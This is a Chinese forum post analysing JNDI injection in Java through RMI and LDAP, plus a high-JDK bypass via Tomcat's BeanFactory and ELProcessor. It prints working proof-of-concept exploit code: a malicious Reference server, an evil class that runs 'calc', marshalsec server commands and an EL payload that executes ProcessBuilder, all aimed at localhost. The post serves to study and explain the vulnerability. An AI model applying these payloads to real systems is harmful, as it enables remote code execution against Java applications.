JNDI注入分析

打印 上一主题 下一主题

主题 869|帖子 869|积分 2617

JNDI先容

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是为Java应用程序提供命名和目录访问服务的API,答应客户端通过名称发现和查找数据、对象,用于提供基于配置的动态调用。这些对象可以存储在不同的命名或目录服务中,例如RMI、CORBA、LDAP、DNS等。其中Naming Service类似于哈希表的K/V对,通过名称去获取对应的服务。Directory Service是一种特殊的Naming Service,用类似目录的方式来存取服务。
从先容看可以知道JNDI分为四种服务

  • RMI
  • LDAP
  • DNS
  • CORBA
RMI之前已经分析过了,本日就来研究剩下的服务
JNDI的简单应用

以rmi为例子,我们先预备rmi的服务端,然后再创建JNDI的服务端与客户端,这里用marshalsec-0.0.3-SNAPSHOT-all.jar搭建的rmi服务
  1. package org.example;
  2. import javax.naming.InitialContext;
  3. import javax.naming.NamingException;
  4. import javax.naming.Reference;
  5. public class JNDIRmiServer {
  6.     public static void main(String[] args) throws NamingException {
  7.         // 创建一个上下文对象
  8.         InitialContext context = new InitialContext();
  9.         // 创建一个引用,第一个参数是恶意class的名字,第二个参数是beanfactory的名字,我们自定义(和class文件对应),第三个参数表示恶意class的地址
  10.         Reference ref = new Reference("evilref", "evilref", "http://127.0.0.1:8888/");
  11.         context.rebind("rmi://127.0.0.1:1099/evilref", ref);
  12.     }
  13. }
复制代码
  1. import java.io.IOException;
  2. public class evilref {
  3.     static {
  4.         try {
  5.             Runtime.getRuntime().exec("calc");
  6.         } catch (IOException e) {
  7.             e.printStackTrace();
  8.         }
  9.     }
  10.     public static void main(String[] args) {
  11.         
  12.     }
  13. }
复制代码
  1. package org.example;
  2. import javax.naming.InitialContext;
  3. import javax.naming.NamingException;
  4. public class JNDIRmiClient {
  5.     public static void main(String[] args) throws NamingException {
  6.         InitialContext context = new InitialContext();
  7.         context.lookup("rmi://127.0.0.1:1099/evilref");
  8.     }
  9. }
复制代码
乐成弹出盘算器

在这个过程中lookup实际上就是去探求了我们自定义的引用对象Ref,然后实例化触发了calc
发现上面的JNDI服务端根本没用到.....
JNDI注入--RMI

lookup处打个断点

调用内里的lookup,而这个lookup实际上指的是GenericURLContext#lookup,这次JNDI调用的是RMI服务,因此进入到了GenericURLContext,对应不同的服务contenxt也会不同,继续跟进

继续跟进lookup

这里又进入lookup,不过这个lookup是注册中心的lookup,我们在讲RMI的时候分析过,这是一个潜伏的反序列化漏洞点,略过这里,进入decodeObject

本来我们传入的object是一个引用类型,到这里变成了引用Wrapper,再结合方法的名字,可以判断在JNDI服务端大概做了一层"加密",我们客户端先停在这里,我们调试一下服务端,同样进入rebind
跟bind一样进入GenericURLContext

进入rebind

又是注册Registry的rebind方法,可以看到这里确实进行了encode
返回客户端,进入decodeObject

跟进getObjectInstance方法

refInfo是引用类型,以是进入getObjectFactoryFromReference获取对象工厂,跟进

可以看到我们的自定义ref引用进来了,通过loadClass进行加载,长途加载并且实例化

这里需注意jdk版本,jdk8u121之后就修复了这个长途加载恶意类
修复方案

在2016年后对RMI对应的context进行了修复,添加了判断条件,JDK 6u45、7u21后,java.rmi.server.useCodebaseOnly 的值默认为true。也就没法进入getObjectInstance了

JNDI注入--LDAP

虽然Java设计师修复了RMI,但是发现这个漏洞的师傅简单挖挖又发现了ldap也能JNDI注入(,分析一下,笔者所用jdk版本8u65
LDAP先容

啥是ldap服务呢,可以把ldap明白为一个储存协议的数据库,它分为DN DC CN OU四个部分
树层次分为以下几层:

  • dn:一条记载的详细位置,由以下几种属性组成
  • dc: 一条记载所属地区(哪一个树,相当于MYSQL的数据库)
  • ou:一条记载所处的分叉(哪一个分支,支持多个ou,代表分支后的分支)
  • cn/uid:一条记载的名字/ID(树的叶节点的编号,相当于MYSQL的表主键)
LDAP创建

照旧使用 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#evilref 1099,这样LDAP就启动了
  1. package org.example;
  2. import javax.naming.InitialContext;
  3. import javax.naming.NamingException;
  4. public class JNDILDAPClient {
  5.     public static void main(String[] args) throws NamingException {
  6.         InitialContext context = new InitialContext();
  7.         context.lookup("ldap://127.0.0.1:1099/evilref");
  8.     }
  9. }
复制代码

流程分析

照旧在lookup打断点跟进,进入ldapURLContext

进入父类的lookup,来到GenericURLContext

继续跟进lookup,来到PartialCompositeContext

继续跟进var2.p_lookup

再进入c_lookup

往下看也是进入了decodeObject

往下走进入decodeReference

进入Reference,往下走,来到这,眼熟的很,跟rmi一样的操纵

跟进这个对象工厂,loadClass

长途加载恶意类并实例化

JNDI注入--RMI高版本绕过

换个高版本的jdk,我使用jdk8u202,简单跑一下,可以发现弹不了盘算器了
经过一系列的构式调试,进到最后,这里有个判断,制止了我们实例化类

那么我们怎么绕过这个呢?我们关键的方法是NamingManager#getObjectFactoryFromReference
到上面实例化的地方,我们的类实在已经被加载初始化了,以是我们只需要找到继承ObjectFactory的类,由于这样会调用getObjectFactoryFromReference我们找到BeanFactory,这个是在tomcat的依靠包中,我们添加依靠:
  1. <dependencies>
  2.         <dependency>
  3.             <groupId>org.apache.tomcat</groupId>
  4.             <artifactId>tomcat-catalina</artifactId>
  5.             <version>8.5.0</version>
  6.         </dependency>
  7.         <dependency>
  8.             <groupId>org.apache.el</groupId>
  9.             <artifactId>com.springsource.org.apache.el</artifactId>
  10.             <version>7.0.26</version>
  11.         </dependency>
  12. </dependencies>
复制代码
然后就能找到BeanFactory了,这里存在反射调用method

构造一下服务端:
  1. package org.example;
  2. import com.sun.jndi.rmi.registry.ReferenceWrapper;
  3. import org.apache.naming.ResourceRef;
  4. import javax.naming.InitialContext;
  5. import javax.naming.NamingException;
  6. import javax.naming.Reference;
  7. import javax.naming.StringRefAddr;
  8. import java.rmi.registry.LocateRegistry;
  9. import java.rmi.registry.Registry;
  10. public class JNDIRmiServer {
  11.     public static void main(String[] args) throws NamingException {
  12.         try{
  13.             Registry registry = LocateRegistry.createRegistry(1099);
  14.             ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
  15.             ref.add(new StringRefAddr("forceString", "x=eval"));
  16.             ref.add(new StringRefAddr("x", """.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()")"));
  17.             ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
  18.             registry.bind("calc", referenceWrapper);
  19.         } catch (Exception e) {
  20.             System.err.println("Server exception: " + e.toString());
  21.             e.printStackTrace();
  22.         }
  23.     }
  24. }
复制代码
  1. package org.example;
  2. import javax.naming.InitialContext;
  3. import javax.naming.NamingException;
  4. public class JNDIRmiClient {
  5.     public static void main(String[] args) throws NamingException {
  6.         InitialContext context = new InitialContext();
  7.         context.lookup("rmi://localhost:1099/calc");
  8.     }
  9. }
复制代码
乐成弹出盘算器

流程分析

照旧lookup打断点,直接定位到getObjectFactoryFromReference

跟进到loadClass,可以发现factoryName是BeanFactory

继续跟进,出来后,进去factory.getObjectInstance

这里获取forceString的值

这里取到eval

这里获取我们写入的恶意代码,value,然后invoke执行

到此分析结束

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

篮之新喜

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表